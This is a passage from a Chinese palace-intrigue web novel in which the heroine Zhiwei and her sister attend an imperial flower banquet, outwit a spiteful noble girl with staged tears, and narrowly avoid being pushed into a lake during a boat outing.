宫女将披风给郑馨儿系上,小声劝道:“大小姐还是先去殿内休息一会,娘娘忙完便可一同去御花园了。” 郑馨儿却不愿回去,姑母宫中哪有外头好玩。 不知想到了什么,郑馨儿挑挑眉,带着些玩味问道:“灵芝姐姐,姑母专门下的懿旨召的沈家二女进宫赴宴,那传言可是真的了?月华姑姑真的是因这女子被安定侯给杀了?” 灵芝不敢直接回答也不敢不答,只得支支吾吾的点了点头, 郑馨儿冷哼两声,“哦,那本小姐可要见识见识了,谁那么大本事敢叫姑母吃了气!” 转头,郑馨儿又变成淑女的模样,只是脸上的笑容十分阴狠,她对宫女笑道:“走吧灵芝姐姐,咱们去会上一会,给姑母出口气去。” 拐角的安正修将两人的对话听了个全,他无所谓的掸了掸身上并不存在的灰尘,转身离去。 这边厢的知微等人终于到了宫门处。 门外护卫的一声到了,打断了四人的谈话。 知微脸上竟然是一幅啊这么快就到了吗的表情。 这心到底有多大啊。 沈知蕴无奈捏了两下妹妹的胳膊,知微这才收拾仪容跟着众人下了马车。 巍峨的宫门处已经有不少世家贵女在排队进宫了。 皆是锦衣华服,满头珠翠,在阳光的照射下反射着耀眼夺目的光。 有相熟的便过来打了个招呼,便规规矩矩的站立在一旁等待的。 人很多,但是却很安静。 负责引路的嬷嬷过来之后便带领着贵女们进了宫。 接她们的嬷嬷应是同红叶相熟。 嬷嬷笑的一脸恭敬,跟众人施礼后便小声的同红叶说了几句话,才转身带着四人进了宫。 知微不动声色的打量着目之所及的皇宫。 以往在电视剧里才能看到的巍峨景象此时正一览无余的展现在她面前。 什么大气磅礴,什么雕梁画栋金碧辉煌,都不足以描述她眼前的一切。 宽阔大气的场景压迫感十足。 一排排气势如虹的侍卫,一个个身形修长面容姣好的宫娥都叫她看迷了眼。 不过就是挺废脚的。 她双脚都走到麻木了,才到了御花园内的宴会场。 宴会场外一众贵女已经三三两两的已经在说话了。 到底是春日。 放眼望去,一位位世家贵女打扮的是姹紫嫣红的,大多是一些妙龄女子,妇人也多是些年轻的,一个个的竟比花朵还要娇艳。 有跟沈知蕴相熟的几位贵女已经到了,看她们过来便来打招呼,互相都是认识的,很快便聊到一块去了。 宴会还未开始,红叶便被一位长相慈眉善目的嬷嬷给叫走了,原是太后想见她。 红叶亲热的同嬷嬷问好,顺便给了念秦递了个眼神,捏了把知微的小脸蛋叮嘱了两句,这才放心的走了。 知微百无聊赖同念秦站在一处,边打量宴会场所边听姐姐们说话。 她们身在一大片花丛之中。 遥望最上首的应是皇帝和皇后的席位,下首还有一些席位,应是给妃子们留的。 而下被分为了两块,一侧应是女宾席,一侧为男宾。 中间是被鲜花围成的一个圆形的场地,应是舞者做表演用的。 古人的审美一点不比现代人的差,那一盆盆一簇簇的鲜花,五颜六色的,围制成了一个圆形站台,色彩搭配的极好,叫人忍不住多打量几眼。 再看场地周围,本就是御花园,自是被春季盛放的鲜花包围着,时不时落下的三两只的蝴蝶,倒成了其中的异类,叫人很难不注意几分。还有蜜蜂嗡嗡略过,也给这花圃平添了不少的乐趣。 知微觉得自己一双眼睛快要忙不过来了。 站的也有些累了,她刚想抱着念秦的胳膊靠在人家身上的,就被沈知蕴一个眼刀子给制住了。 她站好,又撇撇嘴,小声问念秦自己什么时候能坐下。 念秦无奈帮人理了理有些乱了的鬓角,小声道快了,稍后便有人引大家入座。 念秦很喜欢知微现在这般模样,她不再那么小心翼翼,会撒娇会生气,偶尔也会使小性子。 是很鲜活的姑娘。 皇后娘娘来了以后赏花宴才开始,听说还是有表演的。 有才的可以献艺,琴棋书画都可以,也可以跳舞,唱歌,本朝较为开放,对女子的行为也并不苛刻,并不会因为歌喉才艺好认为那是什么下作技艺,相反,都能成为贵女们的加分项。 有宫女过来传话,皇后娘娘同陛下有事商议,诸位贵女可在这御花园自由活动,娘娘稍后便到。 那是一国之母,自是无人有异议。 知微倒是乐的游园,她的一颗心早飞入花丛了。 到底是春色满园关不住。 园中的花草郁郁葱葱,芍药花开的温柔,牡丹花艳丽,海棠花红艳,兰花高洁…… 徜徉在花海里,叫人不免发出赞叹。 到底是皇宫的御花园,自是美不胜收,百花争相斗艳,景美人更美,叫人挪不开眼。 知微也不害臊,抱着念秦的胳膊欣赏美人美景,只是表情会带些初次进宫的羞怯。 沈知蕴在她前面,时不时回头看上妹妹一眼,再转头同小姐妹说些悄悄话,如果没有人来找茬的话,今日游园,当真是完美了。 只见一位身着珊瑚色衣裙长相清纯秀丽的贵女摇晃着手里的镶满宝石的团扇行至了众人身前,身后还跟着位品级看起来颇高的宫女。 知微眨巴着眼睛,心说这也不热啊,这位妹妹拿着团扇是为了,遮面? 女子约莫十四五岁,大眼睛懵懂的看着众人,表情有些故作娇憨,清纯的相貌同过于华丽的头饰有着说不出来的怪异。 她好奇撇了沈知蕴两姐妹一眼,之后又打量着知微道:“这位就是沈家二小姐吧,从前在京里没有见过,姐姐多大了?” 说完便用团扇捂着嘴巴咯咯笑了起来,头上的珍珠步摇一摇一摆的,笑道,“哎呀妹妹对姐姐甚是好奇呢,听说这位姐姐是安定侯带姐姐回京的?怎的也不回侯府去看看,青禾说想你可想的紧了呢。” 只是这人话还没说完,便被一声吆给打断了,“吆,叫本宫看看,能郑大小姐好奇的人儿得长成什么绝色?” 只见一位身着绯色宫服,长相成熟艳丽的妇人漫不经心的走了过来,身后几名宫女打着小心的伺候着。 贵女们忙不迭问安,“参见淑妃娘娘。” 淑妃摆摆手,叫众人起身。 淑妃三十多岁的年纪,画着精致的妆容,杏眸微挑,风韵犹存,且多年盛宠不衰,是陪伴皇帝时间最长的妃子,没有之一。 她搭着侍女的手臂扭着腰走到刚才郑馨儿近处,郑馨儿望着淑妃笑的灿烂,只是笑容里带了些许的不怀好意,“娘娘,馨儿只是看着这位姐姐十分貌美,才过来说话的,您看看这位姐姐是不是将在场的众位女眷都比下去了。” 这话说的知微白眼都要翻起来了,她已经认出这位的身份了,能这么嚣张的,只有皇后的亲外甥女,护国公的嫡长女郑馨儿了。就是她这一口一个青禾,不知道顾青禾知道了会不会跳脚,京城可是无人不知安定侯府同护国公府一向不慕的。 至于将众人都比了下去,她沈知微可当不起。 淑妃清嗤一声,对护国公府这位大小姐似乎是一点都看不上。 长相吧也就那样,同皇后是有些像,只是说话从来不带脑子,还自以为是,自私有恶毒,惯会装作天真无知来骗人,如今又弄这一套,真当沈家人是吃素的呢。 淑妃,四皇子生母,一个热衷于为儿子找女人的母亲。 四皇子后院乱到极致,她急需一名胆大有心机有手段的女子来帮衬儿子管家,而她最近挑中的人选,便是沈知蕴,这位在娘亲疯癫时一手撑起整个沈府后院的女子。 虽然沈知蕴年十九,年纪是大了些,名声也不太好听,但是她要那劳什子名声作甚,就跟她儿子名声多好是的。 所以她听到这边热闹的时候,便想来掺和两句,她也不会多待,主要是想再相看相看沈知蕴的。 沈知蕴带着知微再次见礼,沈知蕴不动声色道:“小妹初次参加宫中宴会,不足之处请娘娘和诸位小姐包涵。” 知微便是一直低着头装鹌鹑,十分乖巧的模样。 淑妃多大的年纪了,在这后宫风风雨雨二十多年,什么样的美人儿没见过,自是不会嫉妒知微的美貌,天底下美丽的女子多了去了,嫉妒的完吗,谁还没个貌美的时候呢。 “嗯,却为绝色,倒是今日的贵女都十分出众,何来将人比下去直说呢。好了,你们顽,本宫先走一步。” 淑妃打量了知微几眼,但眼神更多的还是在沈知蕴身上,点点头,她对沈知蕴甚是满意,转身便离开了此处,走的干净利索,一点也不像为沈家女解围的样子。 淑妃这样说,郑馨儿也不生气,她挑着眉,眨巴着眼睛一瞬不瞬的盯着知微,眸子里满是天真:“这位姐姐,听说你曾经做过安定侯的妾室,是真的吗?” 一句话叫周围鸦雀无声,不断有贵女围了上来,有些不怀好意的竟捂着嘴巴笑了出来,沈知蕴和念秦一左一右的护着知微,念秦的手攥的知微生疼,知微并未恼怒,她连一丝生气的痕迹都没有。 眼看姐姐要站出去,知微将人拉住,小声朝二人道了句,我自己来。 没有人能一直保护她的,这些事情,本就得由她自己来解决。 况且事实就是那样,如今这位有意说出来,是有人故意放任也好,是这位自作主张也罢,这第一仗,她应了。 嗯,你若天真无邪!那我便可怜巴巴好了! 第65章 皇后来了。制止了喧闹,夸赞知微绝色。赏花,皇后意有…… 一阵微风吹起了知微额前的碎发,露出了光洁的额头,精致好看的眉眼一览无余,叫众人不由自主的望了过来。 她不动声色的给了两位姐姐一个我可以的眼神,从沈知蕴身后走了出去。 知微学着世家女子的模样向郑馨儿和众位贵女轻轻的福了福身子。 再抬眸便有些不知所措起来,她微笑着,只是笑容里带着惆怅不安,她应是不知道怎么开口,或者怕人误会,一张脸涨的通红,众人似乎能感觉她袖中的手在颤抖。 她小心翼翼的扫了众人一眼,又迅速垂下了头,泪水瞬间蓄满眼眶,白皙的小脸上滑出一道泪痕,想到了往事,带着隐忍,也不敢抬头,应是极不想回忆,咬着唇可怜巴巴道,“这位妹妹,知微,知微确曾被拐出京城多年,也确是被安定侯带回京的,只是这一路,这一路多有坎坷,妹妹若是想听,等宴会结束,姐姐向妹妹府上递个帖子,邀妹妹喝茶慢慢说,可,可行?” 知微又大着胆子抬眸怯怯的看了眼众人一眼,她张了张嘴,似想要寻求帮助,她眼神期期艾艾的,最终什么都没说出口。 只是眼眶通红,紧紧的攥着姐姐的手,小脸上布满泪痕,给人一种马上要支离破碎的错觉。 念秦敛目,不动声色看知微表演。 今日这郑馨儿跋扈的名声应该能更上一层,想做皇子正妃,怕皇帝需得重新考虑一下了。 众人面露不忍,沈知蕴似是被郑馨儿的无理气红了眼,她像是护小鸡仔似的将妹妹紧紧护在怀里,胸腔不断起伏,仿佛在极力隐忍。 郑馨儿却是不觉,咦了一声,捂着嘴笑道:“姐姐道声是或不是很难吗,怎么推三阻四的?难道,传言是真的?” 说完便挑着眉饶有兴致的盯着姐妹俩,等着沈知微回答,只那眼神仿佛一条毒蛇般充满了恶意,叫人十分不适。 却见沈知微深吸口气,她将脸上的眼泪迅速擦净,颇有些豁出去了的感觉,她从姐姐怀里出来,大胆抬眸看向了郑馨儿,流着泪道,“这一路归家,知微几次险些丢了性命,幸得贵人帮助才能找到家人,知微自是感激安定侯的,知微,知微。” 知微如同一朵将要被风吹散的小白花,再也经受不住风雨的打击了,怕是下一瞬,就要倒下。 几位同郑馨儿平时便不对付的贵女早已经围了过来,安乐县主更是不等知微说完话便掐着腰愤愤开口:“郑馨儿!这位姐姐如今能归家已实属不易!你为何还要戳人家伤疤,人是皇后娘娘请的,少作弄你那幅无知的姿态来装模作样!再欺负人!看本县主不告到陛下跟前去!” 安乐县主同沈知蕴交情尚可,上次谢诗妍便是在她的生辰宴上出的事情,对此安乐县主还不高兴了很长时间。 安乐县主为人义气,性格泼辣,算是郑馨儿的死对头,每每在聚会上遇到,二人总是会斗几句。 这不,今日也是对上了。 高处的假山上,安若瑾带着几位贵公子兴致勃勃的看着这边发生的一切,待看清知微的面容,不少人也是发出了惊呆,又看到了知微可谓是我见犹怜的模样,又不免心生怜惜,对郑馨儿就更是瞧不上了。 一直都听说这位是个惯会仗势欺人的,平日里倒也没这么放肆,今日这么多世家贵女,可算是显着她了。 不过却也没人敢说什么的,这位可是内定的六皇子妃,跟他们这群公子哥儿可没什么关系。 只是安若瑾却看热闹不嫌事大,绕到安正修身旁啧啧两声,“六弟啊,你惨了,这么个泼辣不讲理的女子,要是娶回府上,啧啧。” 说完安若瑾便摇头晃脑的离开了。 安正修虽有一瞬间的难堪,却还是忍了下去,他也未做任何言语,淡笑着对看热闹的众人道了句时辰差不多了,咱们走吧,便离开了此地。 静观了这一切的崔文远听到身旁的狐狗朋友对知微的连声夸赞,什么弱柳扶风天姿国色,什么柔弱佳人皆是低头不语,诸位要是知道这位是如何手刃歹人的,不知还能不能说出这种话来。 这可不是小白花,是朵食人花呢,幸亏宋兄不在,这要是见了,估计得心疼坏了。 看着安乐县主帮着知微说话,沈知蕴自是十分感激,她轻拍着还在哭泣的小妹的肩头,朝安乐县主道了声多谢。 始终当背景板的念秦刚才差点破了功。 她可是闻到了知微帕子上的辛辣之气,似姜又似蒜的,所以知微才会一个劲的不停流泪。 她将知微手上的帕子给抽走,摸了摸知微的脑袋示意可以了,眼睛都肿了,再哭不好看了,一边又悄悄将帕子塞进袖子里。 郑馨儿却冷哼两声,面上的表情十分不屑,这个安乐仗着自己外祖母是陛下亲封的长公主,平日里没少跟她对着干,哼,我姑母是皇后,我是未来皇后!你安乐算个什么东西! 郑馨儿腰板挺的笔直一点也不惧,不屑道:“我不就问了句话吗,又不是问的你安乐,你少在那狗拿耗子多管闲事,怎的,你。” 却听一声皇后娘娘驾到,众人忙不迭的跪地请安,郑馨儿也没再继续说了下去。 她撇撇嘴,觉得有些无趣,迅速调整好心情,也不跟着众人一起行礼,转身笑着来到了郑皇后身边撒娇:“姑母,您怎么才来啊,馨儿都等着急了~” 郑皇后一身紫色宫服,头上带着皇后专属的凤冠,十分端庄大气,她无奈的拍了拍郑馨儿的手道:“好了,多大的人了,还像小孩子似的。” 说完转头这才叫众位贵女起身。 郑馨儿扶着皇后的胳膊望着安乐县主,眼睛里全是高傲和不屑。 郑皇后也没去理会刚才的喧哗,小孩子家的吵吵闹闹而已,不必放在心上。 她淡声问宫人可都到齐了,得到了准确的答案,便带着郑馨儿径直去了内场落座。 众人这才有条不紊的坐了下来。 只见另一侧,以两位皇子为首的清俊贵公子们也被请了进来,坐到了另一侧。 四皇子被事情绊住了脚,倒是少见了不少热闹。 知微也没兴趣打量对面的男子,只叹了口气,他妈的折腾了一上午,终于坐下来了。 她望着面前精致却干巴巴的糕点,有心吃上一块,却被一旁的念秦给制止了。 知微眼神惊恐,下料了? 念秦摇头,努了努嘴,那意思,应该不太好吃。 知微表情迟疑,宫中的糕点,那可是御厨做的,能难吃了?她不信,捻起一块咬了一口,嗯。”没咬动。” 应是糯米做的糕点,凉了便不太好咬了。 算了,她抿了抿嘴唇,不动声色的将糕点放了回去。 念秦忍笑,指了指腰间的荷包,竖起大拇指,夸赞知微有先见之明。 看众人落座,上首的皇后已经开始讲话了。 电视剧中常见的台词,知微低着头,听的云里雾里的。 她一直摩挲着腰间的荷包,有些饿了,早膳用的太早了,想着要不要现在就打开来垫吧两口。 却听皇后一句沈尚书府上两位小姐何在? 知微一个激灵,脑袋瞬间清醒了过来,同沈知蕴马上起身,恭敬行礼。 郑皇后叫二人行至身前,细细打量,在看到知微的时候却有些湿了眼眶。 她面露不忍,轻轻拭了拭眼角的泪,语气里满是怜悯,“听说是被拐了十年了?可怜见的,也亏了安定侯带你回京又待你十分不错,养的跟花骨朵似的,确如你这般好的颜色,自是要娇宠一些的。” 哦,这是在证实她是安定侯妾室呢。 这位一国之母的心,可真是比针尖还要小呢。 姐妹二人不动声色,只垂眸静静的看皇后作妖,无所谓,爹爹说了,场子会给她们找回来,逼急了大不了他辞官! 却听一阵爽朗的笑声传来,“娘娘哪里听的传言,臣女怎么不知安定府上养了什么花骨朵的,倒是听说有位妾室给主子下毒,被铭哥儿给杖毙了呢!” 红叶跟一红衣跟阵风似的吹了进来,屈身行礼,还故作懊恼的啊了一声,“臣女刚从太后娘娘宫里出来,这才来晚了,还请娘娘见谅。” 说完也不管上首皇后的脸色,只是眼带疑惑的望着皇后身旁,“咦,今日怎么不见月华姑姑?听说那妾室同月华姑姑可有些关系呢?” 郑皇后一口气被憋的差点没上来,秦红叶! 竟敢当面的拆她的台! 她死死的抓住凤椅的扶手,手背青筋突起,一旁的大宫女示意见了红叶跟耗子见了猫似的郑馨儿赶紧安抚,自己则是笑着回道:“回县主的话,月华姑姑前阵子生了一场恶疾,就那么去了,咱们娘娘正伤心呢。” 说完竟打了两下自己的嘴,“瞧奴婢这张嘴,说好了不提了的,凭白惹娘娘伤心。” 红叶撇撇嘴,哦一声,“那便是臣女的不是了,皇后娘娘还请保重凤体啊。” 说完便扭着腰大摇大摆的走到了几位妃嫔下首的位置坐了下来。 淑妃忍笑,还得是这位将门虎女,她估摸着就算今日是陛下也在,红叶也是敢呛上两句的。 没办法,红叶是出了名的护犊子加不好惹。 红叶刚坐正,抬眸便见安若瑾一直目不转睛的盯着沈知蕴,见她望了过来,还冲她露了个讨好的笑容。 想到太后刚才的话,红叶也扬了扬唇角,举起了酒杯,朝对方晃了晃,一口便将杯子里的酒喝掉了。 啧啧两声,桃花酿啊,太甜了些。 难怪连安若瑾都在发春呢,总不会是这桃花酿闹的吧。 皇后好不容易止住了怒气,挥了挥手,便叫沈家两姐妹回了坐席。 知微行至红叶身前,偷偷竖了个大拇指。 姐姐威武!姐姐霸气!姐姐就是叼的! 沈知蕴则是深深的松了口气,不知怎的,从刚才开始,她的眼皮就一直在跳,心里也有些慌,总有些不好的预感。 抚了抚心口,她一定看好小妹,万不能再叫小妹出了事情。 第66章 春光明媚,圆台上几名舞姬正在跳舞,她们带着面纱,姿态曼妙,舞姿轻盈 春光明媚,圆台上几名舞姬正在跳舞,她们带着面纱,姿态曼妙,舞姿轻盈,堪为视觉盛宴。 一舞结束,知微伸长了脖子,似是还没看够。 见小妹一脸还想看的表情,沈知蕴无奈道,之后便有世家女子献艺,一样的好看。 知微点点头,她是真的喜欢,这现场表演,可比从前电视上播放的那些要好看多了。 这应该是正儿八经的古典舞了吧,那舞姬下腰的动作是那样优美,那小腰似柳条般柔嫩,堪*称盈盈一握,又软又轻盈。 她偷偷摸摸的将腰间的荷包解下,时不时的捏一个塞进嘴里,嗯,不错,虽然是昨日做的,但放了一日的口感依然劲道,好吃。 舞台上表演继续,一位贵女上台舞剑。 安乐县主应是看惯了这些贵女们劺足劲出头的姿态,觉得无趣,便开始左顾右盼起来。 可巧,知微坐在她侧后方,她那么一打眼,便看到了知微的小动作。 她看知微手中的吃食与桌上的点心并不一样,眼睛亮了亮,将手中的桂花糕放下,转身朝知微伸出了手。 知微……嗯,这是问自己要吃的? 好吧。 看在她帮了自己份上,她又捏出一个拿在手里,才将荷包递了过去。 安乐接过,掂了掂荷包里所剩不多的点心,挑了挑眉,捏了一个放进嘴里。 哎?她眼睛亮了亮,味道不错啊,奶香味十足,但她爱甜,觉得有些不够甜,再甜一些便好了。 咦,还有果肉呢,别有一番风味,软糯劲道,好吃。 不知不觉她就吃没了,而且还没吃过瘾。 于是她转身将空了的荷包递给了知微,并小声的问了句还有吗? 嗯…… 知微心道没看我自己都没的吃了吗。 刚想说没了,却见沈知蕴笑着将自己的荷包递了过去。 安乐高兴的道了句谢谢知蕴姐,便转过头去享受美食了。 沈知蕴看着撅着嘴的妹妹,拍了拍她的手背,好了,快开席了,马上就有吃了的。 念秦默默抖了抖自己也已吃空了的荷包,荷包太小了,是不经吃啊,轻咳两声,将空了的荷包塞进了怀里。 上首的郑皇后面色不虞,郑馨儿等人都在小声的哄着,除了时不时看向沈知蕴的三皇子,一时倒是没人注意到几人的动作。 今日的安若瑾似乎心情甚好,也不作妖,只静静的品着美酒,好似在等待着什么。 而此时的沈府,餐桌上的众人已经是食不下咽了,一个个皱着眉头望着宫中的方向,兄长今日也告了假,小心的安抚着母亲,父亲也在宫中呢,母亲放心,小妹不会出事的。 沈知晖虽是不住的安慰母亲,自己心里却也是没底的,他倒不是怕皇后作妖,是怕父亲因为妹妹的事情太过冲动,再惹怒了陛下。 御花园同静湖相连,静湖中有一处湖心岛,岛上有大片桃林。 前皇后在时,每年赏花宴的必备项目,便是去湖心岛桃林赏花观景这一项。 去湖心岛自是需要坐船前往,于是每年,无意落水的,有意救人的,被人设计推下去的,时有发生。 有成事的,也有不成的,男女都有使手段的。 后来不知因何原因,春日赏花宴突然没了这个项目,已经有许多年没在那设过宴了,即使赏景,也是皇子公主们只邀请少许亲信一同前往。 今年不知怎的,此项目又被推了出来,郑皇后可能觉得也很多年没去了,去看看也不错,便欣然同意。 所以午膳后众位要一同前往湖心岛,去桃林赏桃花。 再看上首,郑皇后已经恢复了母仪天下的模样。 对各位献艺的公子小姐不免赞叹几句,笑容和煦,仿佛刚才的气急败坏的模样是众人的错觉。 也难怪郑皇后生气。 她还待字闺中的时候,就十分讨厌秦红叶,她比红叶小上几岁,但打她初见,有她秦红叶的地方,别人就都是陪衬,她一向都是被众星捧月的那个,见别人的风头比她还要大,能喜欢就奇怪了。 不光是如此,护国公府同秦顾两家一向不慕,所以二人从前就见面必掐。即使后来郑皇后虽坐上了皇后宝座,每每找出理由要惩戒秦红叶,却都被皇帝和太后给拦了下来,叫她如何不憋气。 言归正传。 午膳后的自由活动时间。 知微见红叶看沈知蕴若有所思的眼神,悄咪咪的问道:“红叶姐姐,我姐姐怎么了?有什么问题吗?” 红叶无奈,小家伙眼神还挺好使,“无事,我只是在观察你们姐妹长相上的相似之处。” 知微哦了一声,也看看姐姐,她确实跟沈知蕴并不太像,娘亲说了,她随了外婆的相貌。 红叶在想的其实是沈知蕴是何时入的皇家的眼,连太后都向她打听,还叫她疼疼安若瑾,在此事上不要插手。 沈知蕴长相不俗,心机手段都有,被三皇子看上她并不意外。 只是,这婚事,沈鸿怕是不可能轻易应了三皇子,即使安若瑾使手段,就沈大人那爱女如命的性子,这事怕也很难。 红叶没去湖心岛,无它。 皇帝差人来请,说是顾铭珏来了奏折,召她议事。 念秦没跟着去,她今天的任务主要是护好知微。 红叶看着脸上带着明显激动上了船的安若瑾,又看看皱着眉头看着湖面的沈知蕴,啧啧,罢了,不叫她掺合她就不掺合了,只是她觉得,安若瑾今日的计划,不大好实施啊。 三人紧跟着众位贵女也上了船。 船舱不小,十几个人围坐在一起也不显拥挤。 都是女儿家,上了船后明显的热络起来。 乘着微风,望着碧波荡漾的湖面,心情也算不错。 船儿缓慢的前行,忽而一阵春风吹动,岸边垂下的柳枝慢慢随风荡起,来回摇曳,舞动出柔和轻盈的姿态,叫人心旷神怡,神清气爽。 有位曾经来过的贵女介绍,要是夏日来游湖,那才叫美呢。大片大片的荷花都开了,船儿游走在荷叶中,欣赏美景,再采上几朵莲蓬就地而食,当真是妙不可言。 虽然咱们有些府上也有荷花池,但宫中的荷花却是不一样的,不光品种不一,连那莲蓬个头都更大,莲子也更清甜,好吃极了。 这话差点就知微的嘴角流下泪水,她刚刚本就没吃饱,这位姐姐又说莲子又大又甜,嗯……想喝银耳莲子羹,莲子百合粥,也想吃嫩嫩的莲子。 刚才的席面,叫她怎么说呢,菜是凉的,她只拣了些可口的吃了,肉菜是一口没动的,上面一层白白的猪油,一点也没有食欲。 忽然船剧烈晃动了一下,给知微吓的紧紧抱住了红叶的胳膊。 念秦一手环上了她的腰肢,小声叫她安心。 知微笑着说好,她这辈子还是头一次坐船呢,体验感还不错,因到湖心岛还有些距离,有大胆的贵女已经站了起来,从船头走到船尾,小心的说笑着。 随船的宫女小心提醒她们注意安全,别的是不多说的。 知微瞧着跟他们并行的船只,是三皇子一行,她总觉得这船有些怪,明明只坐了三皇子和几名内侍,却总是不远不近的跟着她们这艘船。 而三皇子的眼神,不知是有意还是无意的,总是看向她们的方向,或者,在看沈知蕴。 这边有几名贵女已经被看羞了,声音愈发的娇媚,更有甚至大着胆子聊起了三皇子。 无非就是,三皇子不会是看姐姐呢吧? 才不是呢,姐姐觉得看三皇子应是看上妹妹了,才老是看咱们这边。 而三皇子看的正主沈知蕴却当做丝毫不觉,她牵着小妹的手,看着湖面,一脸的云淡风轻。 知微是见过安若瑾写给姐姐的情信的,或者说知微看过信封,内容是没见的,因为信到手就被姐姐扔进了炭盆。 当时她问姐姐是谁写的,姐姐说是安若瑾,给知微差点惊掉了下巴。 知微实在是想不出来在京里无人不知有废柴不学无术和纨绔美名的三皇子,是怎么会喜欢上她端庄霸气的姐姐的。 念秦倒是没注意,她捏了捏知微腰上养出来的软肉,嗯,不错,手感甚好。 不多时便见不远处的两条竹排缓缓而来,顿时吸引了众人的注意,竹排上竟有几名舞姬在翩翩起舞。 舞姬们一水的碧色长裙,姿态轻盈,水袖横飞,稳稳的站在竹排上旋转舞动,在另一侧的竹排上,有歌姬在唱歌,琴师在一旁抚琴,优美的歌声合着一旁精妙的舞姿,叫几艘船的男客女客都热闹起来。 连最前方的皇后都忍不住夸赞,不错,论吃喝玩乐上,确实是没有人能跟三皇子相左的。 她们的船只缓缓从竹排经过,一位贵女似是没看够,猛的在船上跑动,还拔下了头上的金簪,似要将金簪扔过去,打赏她们。 心意是好的,按照以往地上的惯例却是是应该打赏的。 只是她们现今在船上,这姑娘猛的一跑动,致使船剧烈的晃动起来,她们本就为了更好的看到歌舞表演都已站了起来,这下好了,船儿晃动的厉害,贵女们顿时慌乱起来,互相捉搡着,眼看就要有人落水。 沈知蕴被人扯了一把,将她和妹妹分离开了,但她怕妹妹出事,转身便要去抓知微的手,可是不知是谁却猛的推了她一把,她一时不查身子便往船外倾斜。 知微眼看姐姐要掉水,身体猛的向前一扑抱住了姐姐,船儿还在剧烈晃动,姐妹二人却齐齐向船外倾斜,念秦一脚踢过要往姐妹二人身上倒的贵女,一把将人扯回船内,三人倒在船舱,船上乱做一团。 扑通一声,又一声,是下饺子的声音,到底是有贵女落水了。 知微只觉惊魂未定,大口喘着粗气,姐姐要是真落水了,湿了身子,水寒伤身不说,名声也不知会被传成什么样呢,还好还好,念秦姐姐拉住了她们。 三皇子气急,眼看要落水的没落水,心底将念秦祖宗十八代都骂了几遍,看也不看落水的贵女,叫人加快船儿的速度,省得一会再有人缠上来。 船上跟着的两位宫女都是会水的,很快便将落水的两位贵女给救了上来。 三月的湖水极寒,两位贵女湿了身,冻的瑟瑟发抖,自是去不了湖心岛了,早有相熟的姐妹帮着二人披上了厚实的披风,不叫春光外泄。 后头守卫的船只马上跟了上来,很快便将两位贵女接走了。 船上剩下的贵女们深深叹了口气,谁也没有了赏花的心情,只是皇后娘娘不提,她们是不能擅自返程的。 闯祸的那人似是真的怕了,只小心的窝在角落,哭成了个泪人。 谁也没去安慰,闯了祸就得付出代价,那两位落水的贵女还不知什么情况呢,本就是议亲的年纪,先不说于名声如何,若是身体受了寒气便是一辈子的事情,这人不跟着一起下去下去道歉,竟还有脸在这哭,实在叫人气闷。 只听一位直爽的姑娘怒斥,哭哭,就知道哭!若是两位姐姐出了事情,看她们的家人如何能饶了你! 第67章 知微三人互相帮助着将她们歪斜了的发髻头饰收拾齐整。沈知…… 知微三人互相帮助着将她们歪斜了的发髻头饰收拾齐整。 沈知蕴皱着眉头扫视船上的贵女,狐疑的目光略过她们每一个人,她能确定,有人要害她,但是是谁呢? 原因又是为何?目标是她,还是小妹? 船上除了她们三人,除了两位是沈知蕴常见的,其余的似乎多是庶女,在京中各府的聚会上也是没怎么见过的陌生面孔,今日是宫宴,皇后为何要邀请她们?而为何又这样巧,偏偏都跟她们坐在了同一艘船上。 她不动声色的扫视一圈,见这些人并无异样,垂下眼帘,还好今日有小妹和念秦在,不然,她怕是完了。 知微握着姐姐的手,叫她不要担心,既然都是怀疑对象,那咱们就多防着些,一会上了岸就不与她们一处了。 皇后只淡淡的撇了这边的船只一眼,掉水吗,正常,掉进皇宫的湖里是她们的福气,淹不死就行。 郑馨儿倒是有些幸灾乐祸的,毕竟她一眼就瞧见了脸色被惊到苍白的沈家姐妹。 还有那个念秦,秦红叶的走狗!怎么就没淹死她们呢!从前她被红叶欺负的时候这条狗可没少动手!她可是不会忘记自己被二人关进冷宫的仇! 这边惊魂未定,那边很快就到了地方。 待众人反应过来,便已身处桃林之中了。 自是美不胜收。 被风一吹漫天飞舞的花瓣,地面上也落了一层,鼻腔里充斥着的,满是桃花清甜淡雅之气,倒叫人一时忘了刚才的烦闷。 有宫女正等在前头,给每人发了一个精巧别致的花篮,叫贵女们随意摘些来,可以去东面的场地酿酒,也可以去西边的场地腌制桃花蜜,走时可一并带着。 此时已经不分男女大防了,但都是有头有脸的人家,心中也是有数的,不会过分行事。 男女自是分开了,即使有相看上的也是归家之后同父母提上一提,请冰人上门,此时并不过多打扰。 郑皇后身边的大宫女淡笑着对众人道,桃花林中桃花多,桃花美小姐们更美,诸位可以自由活动,各处都有宫人,请各位随时差遣,一个时辰之后请各位在此处集合。 郑皇后此时已经带着郑馨儿到了桃花林中的亭中了,边赏景边用桃花做的特制美食,倒是十分惬意。 郑馨儿坐不住了,跟姑母撒了个娇便一溜烟的跑去找六皇子去了。 她可不能掉以轻心,这么多的贵女,要是有不长眼的勾引表哥怎么办! 郑皇后无奈,馨儿这个性子,太是粘人。可比她跳脱多了,也更能闯祸。 揉了揉眉心,问一旁的宫人公主那可都安排妥当了? 宫人自是回府安排妥当了,详细的说了公主今日一早穿了什么衣服用了什么饭食这才停下。 郑皇后育有一女,年三岁,自是被她宠上了心尖上的,只是小公主最近很是粘她那奶嬷嬷,叫郑皇后看了几次心里便不甚舒服。 她正思趁着如何解决这个事情呢。 知微三人无意深入桃林,便在外围找了几棵花开正盛的桃树摘起花来,也不知这桃树是个什么品种,果子大不大甜不甜,倒是这花瓣又大又厚,三人每人堪堪只摘了半篮子就停下了,也没打算去酿酒制蜜,知微刚才问了宫人,可以将这花篮带回去,她想做些点心来吃吃。 三人百无聊赖的坐在一棵应有几十年树龄很是粗壮的桃树下歇息,聊着些日常的琐碎,时间过的也快,不多时便见有人从桃林深处匆忙走了出来。 她们寻的位置很是巧妙,来人看不见她们,正巧被前方的桃枝给挡了个干净。 不过,她们也无意偷听别人谈话,只是能听见有贵女一声娇嗔表兄你疼疼人家嘛。 那男子似是被缠的烦了,愤怒的撇开了女子的手,道了句表妹还请自重便头也不回离开了。 女子应是跺跺脚,有些气急败坏望着男子的身影,半晌才转身离开。 知微抿着嘴,待人走远了才迟疑道,这是,郑馨儿?那男子是? 念秦挑挑眉,比了个六的手势。 知微啊了一声,嗯……好奇道,“郑馨儿的年纪也就十四五岁吧,怎的如此早熟?” 念秦耸耸肩表示不知,沈知蕴却笑了笑,无所谓站起身,“管旁人做甚,咱们回去吧,时辰快到了。” 